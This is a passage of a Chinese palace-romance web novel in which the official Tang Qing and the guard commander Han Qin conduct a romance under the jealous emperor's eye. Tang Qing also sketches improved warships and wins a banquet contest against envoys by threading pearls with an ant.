唐青一张滢白似玉的脸半掩在毛绒绒的圈领里,入了前厅也没解去斗篷,甫一开口,唇角散着茫茫的白气。 “秀莽兄,少游兄,你们怎么来了。” 朝堂关于他和韩擒的风言风语近日传了许多,官员们对韩擒有些回避,莫说他了,更是避之若浼。 两名同僚却在此紧要关头看望他,指不定会招来闲言绯语。 李秀莽问:“身子可还好?” 苏少游道:“听大人说你病了,宫内又没你的消息,里头诸多眼线,不好直接跟统领打探,恰好今日休沐,我们都住在宫外,便低调乘着马车,过来看看你。” 唐青落下头上的绒帽,青丝垂落肩膀两侧,眉眼似冬日雪梅,眸光莹亮,玉面唇红,可见调养得还不错。 苏少游道:“那我们就放心了,本来还担心你病榻缠身。” 李秀莽道:“统领……将你照顾的很好。” 唐青招呼他们二人坐下,管事送来温热的茶水和点心,苏少游当即边叙话边吃点心。 李秀莽拿着茶盏,指腹贴在杯口摩挲,并未饮下。 苏少游吃了好几块点心,见李秀莽缄默无言,自己按耐不住,问:“唐侍郎,你和统领……真是那种关系啊?” 唐青没有隐瞒,坦白承认道:“是,我和韩擒在一起了。” 苏少游撑着下巴,啧啧叹道:“我说呢,韩统领掌管禁军,和尚书台素无交集,却几次出现在尚书台里,还送唐侍郎来上值,原来有那种心思。” 李秀莽饮下已经凉冷的茶水,默默抬眼,咽入喉腹的茶多了几分苦涩。 苏少游道:“不过也不怪韩统领动心,就是我,偶尔看唐侍郎都会看得出神。” 虽然不是断袖,但爱美之心人皆有之,这般无双绝色的人在面前,无关男女,只为世间独一份的美好,都会想要多看几眼。 唐青看李秀莽的茶水冷了,给对方续了一杯。 李秀莽默然饮下,待盏内空空,道:“我和李兄回去了,你身子才愈,多加休养。” 苏少游:“才两盏茶的功夫就走了?今日休沐,不上值啊……不对啊,我是苏兄不是李兄,你……” 李秀莽垂下深邃眉目,先行告辞,见状,苏少游也不便多留。 送两名同僚离去,唐青立在韩府门外,静静看了会儿朦胧晦暗的周遭,方才缓步返回。 ** 翌日,难得天好,放了些晴光。 韩擒夜里在皇宫值守,午前散值,后半日便得了闲。 唐青在书房练字的时候,韩擒回屋稍睡,不到两个时辰就醒了。 两人在小厅用了午后膳食,韩擒在院里练了会儿功,转头就能看到站在檐下看着自己的青年。 他收起枪,擦干汗朝唐青走近。 观青年面颊润红,养回来几分精气神,便也跟着喜悦,眉目压着严肃,目光却透出温厚。 “闷了数日,可想出街走走。” 唐青不假思索地应下:“好啊。” 等韩擒换了另一身衣袍,唐青围上斗篷,将帽檐压得低低实实的。毛绒绒的襟领遮去半张精致的脸,倒可省去易容或带帷帽的功夫。 两人直接从府邸大门步行出街,韩府位于朱雀街西面,走去最繁嚣的地段,二刻钟足矣。 今日放晴,街头十分热闹。 两道门铺林立,售品五花八门,叫人看得目不暇接。 唐青停在一家点心铺的招牌底下,驻足凝望。 铺子前站满一排买栗子糕的行人,周围的空气里飘散的炒糕的香味,令人垂涎。 韩擒问:“想吃?” 唐青眉眼染着笑,还没开口,韩擒就跟在人群最后头排队去了。 唐青怕他无聊,便等在旁边,同对方说话。 两人衣饰不凡,帽檐虽遮掩唐青大半面容,但显露的眉眼和气质都叫行人注目,神色惊艳。 ** 这头正热闹,街尾另一方却寒如冰窖。 李显义望着前方热闹的人群,裹得严严实实的唐侍郎正与统领并肩游街。 宫内连日的低压让人透不过气,哪料出来以后更叫人心惊胆战。 夜间难宿的萧隽头疾频犯,今日出宫微服,本欲借机散心,此刻坐在车舆内,狭长淡漠的双目隔着帘幔射出冷意,还涌露几分意味不明的妒火。 萧隽眉峰间压着隐忍的怒与妒,面上却不显愠色。 “孤怜他病患缠病,放他出宫允他好好休息,这才过了多久,身子愈了?就这么迫不及待和韩擒把臂同游,恨不得让人看见他们心意相合的样子?” 李显义讪讪,为当前形势头疼不已,平日一张巧嘴,这会儿喉苦难言。 明眼人都看出皇上对唐侍郎的偏心和照顾,可那样的人就是不想要这份恩宠,还与皇上最为得力的心腹搅合在一块。 萧隽收回目光,道:“韩擒就是这样照顾他的,放一个身子未愈的人,在冷风寒冬里游街,周遭挤挤攘攘,如何调养。” 李显义打量天色,寻思道:今日不是正晴么,出宫前,皇上也是看天色不错,才萌生出宫的心。 但这话不敢说,唯有头疼叹气。 皇上此般计较,莫不是……陷进去了罢,这三个人,该如何是好? 第044章 第 44 章 刚入子月上旬, 唐青的病假结束,宫内还差了人专程到韩府上传话。 韩擒这几日在军营练兵,唐青不想再麻烦对方专程送自己。 他来韩府时一身孑然, 东西都是后续添置的, 是以简单收拾, 没带走其余物件, 请韩府管事替他备了辆马车后, 径直返回皇宫。 当日围守在潇湘殿的侍卫都撤了, 殿门开着, 里头有些许清冷,许是久未来人洒扫,桌上还蒙了一层薄薄的落灰。 唐青在椅子上小坐稍刻, 寻出身官袍换上,将到正午,独自去往颐心殿上值。 值守在殿外的宫人见了他脸色如旧,唐青神思微定, 铺垫好心里准备, 方才入内。 ** 唐青重回御前伺候, 发现今日的议事大殿很是热闹。 皇帝召集太尉魏云,韩擒,还有一名紫色官袍,腰间佩从一品官饰,约过四旬武将正在商议要事。 瞥见一抹身影入殿,龙椅上的皇帝不动声色地扫了眼韩擒,对唐青淡声吩咐:“研墨。” 唐青轻步绕至御案, 安静垂眸,很快添了新墨。 太尉, 韩擒,及紫袍武将在各自面前的案几上都用了笔墨,见状,唐青也为他们都续上墨汁,过程始终垂眸注视砚台,和座上任何人并无眼神的交汇。 他心无旁骛,听殿内几人商议着东南沿海一事,才知那名武将正是东南水师总督黄麟琦。 大邺东南及南面环海,东南沿岸与最大的海岛国东溟相邻不远,海上众岛屿还零散地遍布着一些小国。 过去东溟与大邺可谓互不相犯,甚至偶有来自东溟的船只途径海峡与大邺沿海岸私下商贸。 唐青不由陷入回忆,记起曾经梁王府得到过一箱从东溟运来的海货。 今年春天,他和梁名章种了半个院子的土豆,也不知可有收成,收成如何。 待思绪飘回,殿前的帝王和朝廷大臣已经说起海军薄弱相关的话题。 东溟自去年起忽然不太安分,偶而滋扰大邺东南沿海,见东溟有此动作,其他岛屿小国也时不时开些船只骚扰。 大邺背靠内陆,天下都是在陆地上征伐的,更擅长陆地作战,而不擅水战。 海岛国家几乎人人擅水,船只灵活,在东南海峡常常来去无阻,且更能适应海上恶劣环境。 此得天独厚的条件,助长其滋扰挑衅大邺沿海地区的气焰,使得他们总能全身而退。 驻扎在大邺东南一带的水师颇为头疼,尽力反击是能打过,要进一步追剿,却难以追上。 想提升水师战斗能力,不光靠人,还得靠船,战船可为是水师战斗的重要武器。 自半年前萧隽就命太尉协助总督黄麟琦,且还派了韩擒到广平县,此时就战船提升一事,君臣已在议事殿叙谈了两个时辰。 唐青适时为他们添续茶水。 几人饮茶润了嗓子,萧隽指尖在案前的图稿上轻轻一点,目光扫过韩擒,话却是对唐青说的。 “唐侍郎做何感想。” 太尉魏云往唐青身上瞅去一眼。 朝堂上文武两派向来就不太对付,何况唐青这副容貌,留在帝王身侧,使人见到他的第一印象,很容易往以色侍人的方面联想。 但唐青在公冶侯一案下了不少功夫,纵使魏云最初没把他放在心上,半年多前太庙公审结束,他便差人私下调查唐青。 此人身份太过清白和简单,为皇上所用,再多的消息就查不到了。 此刻皇上让唐青开口,魏云脸面有些僵硬。 他贵为大邺太尉,掌军事,加之东南水师总督在场,还有禁军统领在,何故犯得着让一个御前伺候的小小文官开口。 太尉道:“皇上,臣以为——” 韩擒执起青花冰梅纹茶盏,朝太尉示以敬重,道:“下官想听听唐侍郎的高见。” 萧隽平静如常,指腹沿杯口摩挲,淡道:“今日这壶乾山云景不错,太尉何不多尝尝。” 如此明晃晃的提示,太尉魏云只得继续饮茶。他目光探量,欲听这黄门侍郎能说出什么花样来。 水师总督才入邺都没几日,并不知道宫内前些日子暗传的八卦,能得帝王钦点开口,且带在身边的,重用程度不言而喻,倒还颇感兴趣。 唐青上前,先对帝王行君臣礼,再逐次对案前的三名高官行礼。 “下官浅薄之见,如有不当之处还请皇上和诸位大人指教。” 他观水师总督提供的战船结构图稿,根据环境和现今条件总结得还算正确,可有了总结,却未寻得适合的解决方式。 唐青语声徐徐,像冬日里的一阵暖风在议事殿散开。 “东南沿海多长窄峡流,常起风浪。如今普遍用的战船,虽适应广平辽阔的南海,却难在东南海峡灵活穿行。总督大人提供的这些改造图纸,有了形,基础雏形却不太合适。” 改造的战船仍有局限性,多从过去所用的战船样式调整。 唐青看了几张东南海常用的商船图稿,结构上比战船轻巧,在狭长的海域正常航行没什么问题,且作为商船,时常运送份量较大的货物,有此质量,用来改造成战船可以一试。 但有了船身还不够,唐青根据总督汇集的信息,执起狼毫,半伏在案前,几笔勾画,将尾楼多加一层,又在两翼设置战棚,将船身前端底部稍微放大,船蓬缩减。 利用商船底子改造的战船可以比较灵活的穿梭狭长海域,可如果遇到急风大浪天就不一定还能正常运作。 所以尾楼上,唐青放置可以单独下海敏捷作战的长艇艨冲,又在战棚四周设置炮眼。 大邺的火药使用并不频繁,大多只在西北和北方抵御外族入侵的战场才能见到,种类也很少。 但火药稍加改造,投放到海洋战船上,彼时可对对敌人进行投射。 战船整体的功能性有点像小型航母。 唐青画的粗糙,但改造出来的战船结构和用途,用图案和文字互相注释,一目了然。 总督黄麟琦端量图纸,他带领水师二十余年,对这版改造出来的战船只半刻便参悟秒用。 虽然有的细节不切实际,但加以调整,理应可以改造出目前最适用的战船。 太尉道:“在船上用火药?” 唐青道:“如今的火药笨重,使用时还有风险,可以制作出有一定射程,且没那么笨重的火铳。” 而且海上作战不指望火炮能打多大的威力,只要能扰乱对方阵型,制造视野障碍,就算达到目的。 所以火铳不用做得多大,还需结合战船特点,以方便灵活为主。 场上除了唐青,余下几人对军事作战都能独到的见解,也都率军征战过。 唐青绘制的战船图,不需多时,全都看明白了。 水师总督黄麟琦陷入沉默,似在消化,又或有了新的领悟。他抓住这一闪而过的灵光,朝帝王行礼,请求先行告退。 萧隽允了。 不久,又将太尉和韩擒打发回去,殿里顿时只剩下一君一臣。 韩擒走前忍不住回头朝唐青望了一眼,青年正微微低头,似在出神。 众人都离去,萧隽注视唐青低垂的眉眼,淡道:“韩擒已经走了,莫不是还在想着什么。” 面对萧隽坦然的指责,唐青微讪,继而正色,道:“回禀皇上,臣只是还在想方才的战船图纸。” 毕竟要他短时间回忆起战船相关的信息有点难度,刚才一番话,也是想起什么说什么,漏缺之处不少。 但以水师总督的职责技能经验和素质,应该能做出更恰当的调整。 他有些口干,没得帝王准许,并未擅自饮茶。 且看对方面色稍冷,暗中想着:就算以后他想韩擒想得出神,只要没耽误公事,萧隽能管得到他的脑子吗? 这些话唐青只敢放在心里。 临到散值时辰,唐青小心提起让兰香回到身边的事情,本来以为会遭受拒绝,御座上的人却一口允了。 唐青道谢,微微抬眸,和萧隽相视无言。 待到天色微暗,到了用膳的时候,唐青方才走出颐心殿。 * 夜色漆冷,唐青吐出一口茫茫白雾,正准备小心下石阶,却望见廊下静静立着道身影。 韩擒靠近,微抬左手,扶着他,道:“石阶滑冷,当心些。” 两人隔着一臂的距离,袖摆宽大,掩去底下互相搀扶的手。 唐青问:“在这里等我?” 韩擒:“嗯。” 唐青弯了弯眼睛:“今日就不能去你府上住了,那些置办的东西……” 韩擒:“都留着。” 余下的话没开口,却藏了几分期许。 ** 阁楼上,注视夜幕中慢慢下了石阶的身影,萧隽不着声色,将扳指扣在掌心。 “李显义,殿前的宫灯有些暗了。” 李显义是个会办事的,知道皇上此时心里不舒服呢。 他忙道:“回皇上,明日立刻着人添置,保管照得宫道明光敞亮。” 萧隽收起视线,慢慢把扳指戴回拇指。方才用了几成几道,在掌心扣出些痕迹。 他负手静立,忽然问:“孤近日是不是有点失控了。” 李显义心里“呃”一声,身为帝王,自然毫无男女私情最好。有唐侍郎那样的臣子效力,于国事上,最为合适。 可他不敢把劝阻的话说出来,怕给皇上徒增不快。 第045章 第 45 章 潇湘殿起了灯火, 已经回来兰香正在和另外一名宫人洒扫室内。 她瞥向门外的人影,手里的羽毛掸子还没放下,立刻跑了过去。 “先生, 您没事吧……” 分别二十余日, 唐青打量眼眶通红的小姑娘, 见人平安, 一颗心终归落下。 他笑着宽慰:“我没事, 倒是你, 连累你跟着我受苦。” 兰香使劲摇头, 又笑又哭的,反复喃喃道:“回来就好,回来就好。” 待收拾完, 殿内一切如旧。 唐青坐在食桌前用饭,招呼兰香同他一块吃。 四周静悄悄地,窗外隐隐漏入些许风声,似人呜咽呼啸, 暖阁开着, 室内倒还算暖和。 唐青道:“外头关于我的风言风语还没停下, 若有人想寻你麻烦,尽量不要起冲突,避开着保护自己为主。” 兰香道:“先前有统领事先打点,没人寻兰香麻烦,先生就安心吧。” 她言辞闪烁,目光飘忽。 唐青放下碗筷,稍作洗漱后, 转个身见小姑娘仍捧着碗愁苦思索,好笑道:“怎么了, 方才不是说得挺起劲,这会儿又含蓄起来了。” 兰香挠挠发髻,好奇道:“先生,您真的与大统领在一块了么?” “没错。”唐青道,“当日事出突然,让你跟着担心受怕,事后我被统领接出宫外,处境困迫,只能托他给你带句消息。” 兰香笑眯眯地:“所幸先生平安无事。” 她不敢妄议先生和皇上还有统领之间的关系,不管先生如何选择,兰香只发自真心的感到欣喜。 唐青眉眼带笑,兰香支着下巴,道:“有人陪着先生也好,今后多个人与您相处,陪着说话,且总不会再让您独自一人面对任何事。” 唐青道:“你不也陪我说话,日日跟我相处。” 兰香摇头:“我和统领于先生的意义自然是不同的……哪能相提并论。” 就如她之前所看所感受到的,先生性子温和,平等地给予每个人善意,可始终与旁人隔了段距离,想走进先生的内心,彻底与他交心,还得统领才能做到。 “今年过元节,先生定会和统领有个好年过的。” 唐青望着窗外漆黑寒冷的冬夜,轻声感慨:“又快一年了啊。” 还没等到唐青和韩擒约好如何过年,宫里迎来了一件大事。 * 正值年关,各方邻国派使臣来到邺都朝贡。 大邺的国力和实力使得诸国有目共睹,借此时机示好的不在少数,所以皇帝也为此举办隆重的宫廷夜宴,用此来表达对各方邻国的看重。 夜宴就设在后日晚上,届时四品以上的官员皆可入席。 唐青收到了宫人送来的宴帖,送走前来传帖的宫人,他站在门外,打开帖子仔细审看。 兰香迎上前,无不艳羡。 “这场宫廷夜宴,定是很隆重热闹吧,还能见到许多国家派来的使臣,长长眼界。” 唐青收起帖子:“兰香想去么。” 兰香点点头,旋即摆手:“帖子上指名先生去赴宴,兰香哪能跟着去凑热闹,有先生替我看过,回来再同我讲,也是一样的。” 她话顿了顿,道:“只是兰香听洒扫的宫人说,往年赴宴的都是三品以上的官员,今年的规矩改了呢。” 继而庆幸:“还好先生从四品官秩,有机会见识那样的场面!” 唐青视线往她一瞥,此话无心,不待细想,兰香便搀上他的手臂,将他往殿内拖。 他笑着问:“要做何事。” 兰香理直气壮地开口:“自然给先生挑试衣物,看宫宴当晚穿哪身合适。” 唐青:“穿官服就好了。” 兰香皱眉:“哪能穿官服呀,虽然官服穿在先生身上有着别样气度,可既是宫宴,就要随大伙儿那样,着华服,不能落了势去。” 唐青一想,倘若到时候其他官员都穿礼服而他穿官服,确为不妥,便允了兰香,让她折腾一番。 ** 时间转眼就到宫宴当日,时辰将至,唐青着月白银丝竹纹华服,样式并不繁复,简而精致,再以玉冠束发。 他踱步试衣,回眸遥望,只见唇朱面白,眸光波转,既翩然风雅,又不失贵气仪态,唇边绽出笑意,顷刻间令周遭的景致都变得黯然无光。 兰香捧着脸傻笑:“先生就穿这身如何。” 唐青道:“也好。” 比起繁重华丽的礼服,他宁愿穿这身赴宴。 * 今夜是个好天色,月浮云层,华光浅淡。 设宴的大殿辉煌璀璨,甫一入殿,顿感温暖的香风吹袭,笙歌曼曼。 唐青按官秩品级入席,抬眸环望,席间已落座到场的别国使臣。 前方,寇广陵朝他示意,唐青微微起身回了礼,觉察有另一道视线落在身上,正是来自稍微落在寇广陵后方的韩擒。 他与韩擒交换了彼此心知的目光,轻触即分,重新落座。 宫宴亦是朝堂,无论置身何地,到处充斥着涌动的暗潮。 听过韩擒与唐青小道消息的官员,不禁目光暧昧,纷纷带了几分探究。 四品官员的席坐周围,有人瞧清楚唐青的容貌,暗暗惊艳,还自来熟的与他叙谈起来。 唐青言辞客套,面色几分疏凉,并未把周围打量的眼神放在心上。 直到宫宴开始,群臣安静,随即朝出席的皇帝齐声恭贺。 宴会由大鸿胪主持,一番贺词宣读结束,各国使臣纷纷上前行礼,奉出今年朝贡的珍品。 各色奇珍让席坐上的人过足眼瘾,今夜的宫宴倒没有想象中的无聊沉闷,就连唐青也沉浸其中。 东溟使臣压轴出场,着异邦华美服饰,姿态谦卑,可较之前的使臣,却多了几分傲慢姿态。 东溟使臣道:“皇上,我东溟久闻大邺杰才济济,心向往之,想望风采,不知可能借此夜良机,与此等贤士讨教一二?” 周围官员窃窃交语,唐青半支下颌,暗忖:历史总是惊人的相似呐。 既来朝贡,又不愿失去国家尊严,所以要借此机会切磋,助长本国气势。 金銮宝座上的帝王好似一头慵懒的雄狮,神情似笑非笑,当场允下。 客人都这样要求了,作为东道主,自然不会拒绝。 东溟使臣笑道:“皇上果然痛快。” 说罢,拍了拍手。 两名东溟武士前后入殿。 前方武士身形矫长,衣物轻便。 第一场,比的是水下战斗。 东溟为海岛大国,有着独特巧妙的水系作战方式,甫一出场,就让席座上的官员们交头低语。 比试人选自然要选水性娴熟的,而擅长陆战的武将们有心无力。 东南水师总督赶上今晚的宫宴,还带了几名心腹随行。 短暂商讨之后,总督自荐得力心腹之一。 ** 比试场地换到巨大的人工水池,已值子月,万物萧条,池水清淩见底,约有四丈高。 众人围散于水池四周,唐青亦为人群一员。 只见下水的两人潜伏池底,依靠池中石山做掩饰,不停交手作战,过程丝毫没冒出水面汲取新鲜空气。 一刻钟后,结果已出分晓。 大邺派出的东南水师比起东溟水军,到底稍逊一筹,没有对方游刃有余的水下战斗经验,第一场比试落败。 东南水师主动迎到御前下跪,请求皇帝惩罚。 萧隽微眯双目,遣人带其下去休息。 他淡薄地勾了勾嘴角,不冷不热地恭贺几句东溟使臣,对方很快给出第二场比试。 武斗。 东溟使臣原本想请求大邺皇帝与他们东溟最强的武者比试。 皇帝一统大邺,不但有出色的军事征战能力,那一手裂天弓更是举世出名。 若能使皇帝在比试中失败,东溟可谓无限添光。 但皇帝贵为天下至尊,万一在武斗中错手伤了对方,于两国关系并不友好。 所以东溟使臣请求皇帝钦点一名得力武将,迎接第二场比试。 诸位武将连接自荐,萧隽神色平静,目光掠向某个方向,见那人在热闹的人群中独自圈出一片安静之地,视线收起,点了韩擒。 对于跟在身边数年的韩擒,萧隽自然了解不过。 * 唐青见韩擒上场,收起方才围观看戏的心态,神情专注。 见识了东溟水军娴熟游刃的水中战斗之术,他心知不可看轻对方实力。 第二场武斗,规定为不用武器的近身搏斗。 唐青静悄悄地来到比试场地前边,韩擒着墨色箭袖武袍,入场时似乎不着痕迹地看了他一眼。 唐青往金銮宝座瞥去,窥见萧隽慵懒淡笑,再观韩擒目色如常,隐有几分预感。 第二场武斗韩擒在五十招内擒服东溟第一武者,席坐上的文官内敛谦虚,与东溟使臣几番恭维。 武将们倒没那么收敛,扬声呵威,气势高涨。 见状,唐青遥遥瞧了韩擒一会儿,唇边浮现笑容。 ** 来到最关键的第三场,东溟使臣让人抬出一个宝箱。 第三场,既非文斗,更非武斗,而是智斗。 东溟使臣笑眯眯地打开宝箱,众人哗然。 纵然大殿辉煌华美,却不若箱子内的一粒粒明珠瞩目璀璨。 东溟使臣绕大殿走了半圈,笑眯眯地扬声介绍:“此等流光珠在深海沉浸千年,东溟在一次机缘中耗费诸多力气才能获取。流光珠明润透亮,光华终年萦绕不熄,不仅价值连城,常年佩戴,更有养身安神,绵延寿龄的益效。” 又道:“若皇上可差人用金线将流光珠全部穿上,宝箱内的百颗流光珠,便悉数奉给大邺。” 众臣道:“这有何难?” 萧隽却不认为事情如想象中的简单,看东溟使臣胸有成竹的样子,命李显义带几名女红之术高超的女官入殿。 * 月上斜梢,大殿中央的几名女官冷汗直流,手持穿了金线的细针面面相觑。 萧隽问:“如何。” 女官跪下,道:“启禀皇上,此流光珠不同一般珠子,内有数道弯曲回折的孔隙,先不论哪一道可穿出珠孔,即使寻见正确的线孔,要穿完百粒流光珠也……” 绝非易事…… 余下的话女官自是不敢当着外邦使臣的面说,说了岂不有损大邺的颜面? 众人一听,便知晓此事并不简单,原来东溟使臣留了后招等着他们。 辉煌华美的大殿陷入沉寂,半柱香灭,仍束手无策。 比试落败事小,可此刻置身诸国朝贡的宫宴,意义非同寻常,如若输了,大邺颜面将至于何地? 最后一场比试,定然不能输。 静谧中,忽见一道月白身影翩然踱步,迎到殿前。 “皇上,臣想一试。” 萧隽定睛而望:“唐侍郎可是想到了法子。” 唐青笑笑:“自然。” 他神色闲适,面对胸有成竹的东溟使臣,无惧无忧,以云淡风轻之态对上使臣略带傲慢的目光。 机会只在眼前,错过就再无机会。 官员欲出声劝阻,却听金銮宝座上传来低沉有力的声音。 萧隽道:“允了。” 唐青抬眸:“谢皇上——” 他环顾四周,对寇广陵点了点头,又朝韩擒微微一笑,而后掠向远些的李秀莽,示意尚书台的几名侍郎同僚不必担心。 众人狐疑之际,他附到侍卫耳侧,吩咐他们去准备东西。 未等太久,侍卫带回一个巴掌大的盒子,还有几支香。 唐青唤女官到身前,请她们用金线在蚂蚁的腰腹上系好,又将流光珠摆齐,蚂蚁放在珠孔内。 待用火折点了香,受到烟熏的蚂蚁急促爬动,很快,带着细长的金线穿过第一颗流光珠。 众臣暗笑,又恐声音太大惊扰了带线穿珠的小蚂蚁,纷纷涨红了脸,满眼兴奋。 东溟使臣面色犹如猪肝,话噎在嘴边挤不出一个字。 唐青浅浅微笑,朝对方拱了拱手:“承让了。” 只见大殿中央的人,潋滟美丽的桃花眸波光溢动,丰姿神韵,仙露明珠,丝毫不逊色于千年流光珠散发出来的光彩。 席坐上不少官员竟然看唐青看得痴了。 萧隽怔了稍瞬,心头涌出一阵喜悦。 唐青为了他竟做到如此地步。 目光寻着那人,却见唐青在环顾一圈后,与他只是点头微笑,之后却隔空朝韩擒挑了挑眉。 那等风华流荡之姿……只给韩擒一人。 纵使此刻萧隽坐于金銮宝座上,天下皆揽在手,可唯独那人的心…… 那人给别人的回应,叫他生出明显的妒忌来… 稍远处,李秀莽亦捕捉到唐青和韩擒稍纵即逝的互动,一贯平和稳定的心绪,在短短的悸动后沉入失落,难掩情绪上的波动。 金辉大殿,上至帝王,下至高官大臣,目光和心绪皆系于那风华惊绝的青年身上。 第046章 第 46 章 月上中天, 宫宴方才结束。 宫人们将到场的使臣和官员们送出大殿,兖州寒凉的朔风一吹,浑身酒气和醉意的官员熏熏然地坐上抬轿, 往宫外去了。 在三场比试中应战的三人被留了下来, 李显义领着他们去颐心殿。 唐青今夜只饮二盏酒, 还不到醉的状态。 他拢紧狐白斗篷, 深夜的风拂过脸侧, 双颊顷刻如粉, 步行时轻轻飘着, 犹如踩在棉花上。 韩擒低首注视,侧过身,身躯恰好挡去往他身上吹的风。 唐青抬眸, 漆长眼睫弯起弧度,无声中朝韩擒眨了眨眸子。 李显义不动声色地把这份小互动捕捉到眼底,内心长叹。 * 颐心殿。 沐浴过后的帝王着宽松金丝暗纹玄袍,慵懒地靠着, 目光朝三名臣子掠去。 “诸位爱卿今夜宫宴有功, 可有什么想要的赏赐。” 输了第一场比试的东南水师自是不敢邀功, 萧隽抬手,转了转拇指上的扳指。 见三人谦虚,萧隽便让李显义拟旨,本欲遣退几人,瞥见走在最后的身影,心念倏地一动。 唐青还没走下殿前长阶,被追上来的李显义单独唤住。 “陛下还有要事与唐侍郎商议, 请侍郎入殿一趟。” 唐青和前方石阶下等待自己的韩擒轻挥右手,示意他先回去, 旋即折回殿门。 萧隽负手而立,见他来了,不禁多看几眼。 唐青微微垂眸:“皇上可还有吩咐?” 萧隽道:“侍郎在最后的比试中立了大功,当真没有想要的奖赏?” 唐青低头不语。 此事前不久已经问过了,为何还要单独留下他再问一遍? 萧隽:“抬起头来。” 唐青遵照吩咐,甫一抬首,立刻撞入注视自己的那双眼睛。 不复往日淡漠,似有暗火流动。 窥感出几分熟悉的侵略性,唐青连忙低头,两鬓微微渗透出浅薄的汗意。 他思绪急转,道:“皇上,臣有一事相求。” 可那件事若在此时说了,对方断然不会应允自己,索性把心一横,斟酌道:“此事尚且先留着,如若有朝一日臣想要了,望皇上能答应。” 他轻声保证:“臣想要的,决计不会违背任何道义,也不会改变臣对皇上的忠心。” 萧隽半眯双目,打量他,半晌,给了这份许诺。 “好。” 且当这是他和唐青之间的承诺。 唐青唇边浮起些许疲倦的笑意:“时辰不早,还请皇上龙体为重,早点歇息。” 萧隽勤政,大邺初定时,常常忙至后半夜,这点强度于他没甚难度。 不过是借口和唐青多相处片刻,窥见这人堆积在眉眼的倦色,纵有私心,此时也不忍让他熬着身子,遂令李显义差人备轿,送他回殿。 唐青一惊:“万万不可……” 见他谨小慎微,对圣恩避之不及,萧隽便又滋生几许无名火气。 “罢了,退吧。” 唐青离殿,微醺的酒意全然清醒。 他站在门前望着一轮半隐的冷冬孤月,稍理斗篷,裹紧脸小心下阶。 阶前延出一抹长影,唐青诧异。 “韩擒,你还没离开……” 韩擒道:“今夜宿于廨舍,此刻想同你走走,顺道送你回去。” 唐青心下一暖:“好。” 韩擒问:“可是累了。” 唐青点头:“是有些,好像又回到梧郡那会儿,为了赶进度,时常伏案至深夜。” 每每睡醒,都会发现自己被韩擒抱回榻间,或在他身后落了件披风。 他左手覆上一阵温暖干燥的温度,叫韩擒牵在掌心。 侧首与其相视,唇角不觉抿起。 他轻道:“很久没与你这样相处了。” 在古代,谈场恋爱也不容易。 韩擒和他都官居要职,一个素日忙着军务,而他也要在御前和尚书台两头上值,每逢休沐,一个住在宫外,而他在宫里,想见面还得刻意安排。 两人悠闲踱步,即使不舍,也到了潇湘殿外。 殿内前厅亮着灯,许是兰香还在等他。 韩擒停下,指腹贴着掌心包裹的的那只手摩挲。 唐青笑道:“我该进去了。” 韩擒低低“嗯”了声,唐青转身欲走,牵着手的掌心仍没放开。 “韩……” 他话音隐没在蒙蒙月色间。 韩擒抱起他放在萧条的树干后,衣袍掩去唐青的面容,下颌微仰,唇边扑来温厚湿润的气息。 韩擒沿着他的上下唇克制地轻轻吮吻,浅淡的酒气蔓延,唐青适才平静的面容浮起薄薄粉晕。 气息渐喘,韩擒适才松开他。 对视瞬息,目光胶在一起。 韩擒替他拢好斗篷,低声道:“进去吧,时候很晚了,若明日头疼,我带你去医署看看。” 唐青应下,走到殿门前回首,见对方还在,立刻扬起红润的唇,道:“快回去吧。” 伏在前厅案上的兰香闻声即醒:“先生,可算回来了。” 她朝外头观望:“可是统领送您回来了?” 说着,关好大门,替唐青解下斗篷:“宫宴可否热闹,先生玩得尽兴么?” 唐青揉揉疲倦的眉心:“你这丫头,大半夜哪来那么多话,尽兴谈不上,惊心动魄倒是真的。” 兰香嗅出酒气,很快盛了碗提前准备的醒酒汤。 唐青吹凉慢饮,发髻松松垂落,唇角和眼尾晕着薄红,使得兰香瞧一眼都暗暗心惊。 饮完醒酒汤,唐青才继续开口:“这些宫宴,看似惬意,实则就如朝堂上的局势,周围笙歌蔓乐,可身处其境,还需时时刻刻与人斡旋,片刻不得松懈。” 兰香神情苦恼:“听起来太累了,宴至深夜,先生疲倦了吧。” 唐青道:“稍作洗漱后,我想先休息。” 兰香忙备热水,唐青擦洗完毕,回了床榻,沾枕即寐。 ** 翌日早会,朝臣例行启奏。 萧隽就宫宴比试一事,特意嘉奖了三名官员,尤其就最后一场智斗,着重赞誉唐青。 唐青任黄门侍郎,只侍奉御前,并未参与早朝。 个别官员听着皇帝对他赞誉有加,自是憋堵。 可唐青为皇上任用的人,又屡立奇功,几次功劳嘉奖不晋官秩,让他们想找茬也找不着。 但仍有心底不服的,从朝臣中出列,当着国君之面,明褒实则暗贬,直指唐青和韩擒的私情,斥责他有祸乱朝政之嫌。 此一红颜祸水的罪名盖下,旁的官员开始窃窃私议。 可唐青毕竟为皇上钦点,青睐有加,到底不敢扬声喧哗,亦不敢出列明指。 只不过唐青无权无职,加之容貌倾绝,与禁军大统领还有艳闻,过去的功劳任它多大,此时也盖不住众人的八卦之心。 绯闻只需口风吹一吹,便蔓延在朝堂之上。 韩擒出列:“启奏皇上,唐侍郎今年屡建功劳,就南郡改革一事,只半年光景,试改成效甚佳,且惩处诸多欺压百姓的恶绅,严减苛税,为民为国——” 素来寡言少语的韩擒,就改革之策事无巨细地历陈于口。 他最后总结道:“敢问方才质问唐侍郎的刘大人,若本官没记错,您因太庙公审案被牵涉其中,近日才复职。这般诬蔑唐侍郎,可是徇私废公,借机诋毁?” 众官员哗然,没想韩擒竟在朝会当面对峙。 尚书令寇广陵出列,道:“启奏皇上,唐侍郎于公冶侯、郭常两案,查惩腐败,使旧案沉冤昭雪,为天下人之不敢为。此般赤胆果敢,竟有人质疑他,若放任诬言传播,岂不伤了一名国之良材的忠义之心?” 李秀莽和陈霑相继出列。 “皇上,就唐侍郎一事,臣有话启奏。” 即为同僚,两名尚书郎素日与唐青工作上交集甚多,详细上述更是言无不尽,赞无不绝。 萧隽方才听几名官员对唐青明褒暗贬滋生的火气消失无形,此刻耳边都是朝中要臣对唐青毫不吝啬的赞誉,只觉心口涌出又酸又涩之意。 他抬起左手,微微一挥,李显义道:“若无要事,即刻散朝。” ** 唐青不知今早朝会之事,被宣召入轩德殿时,皇帝正在下棋。 棋盘另一边是空的,萧隽单手施布双方棋局,好似没看到入殿的人, 唐青静声等候。 良久,才听前方响起低沉的声音。 “站过来。” 唐青站到边上,棋局尽收视野。 萧隽将最后一子悠悠落下,只坐着,目光微微俯视眼前的青年。 “唐卿听旨。” 唐青微诧,很快伏身行礼。 萧隽道:“即日起,加封黄门侍郎唐青侍中之衔,任职尚书台。” 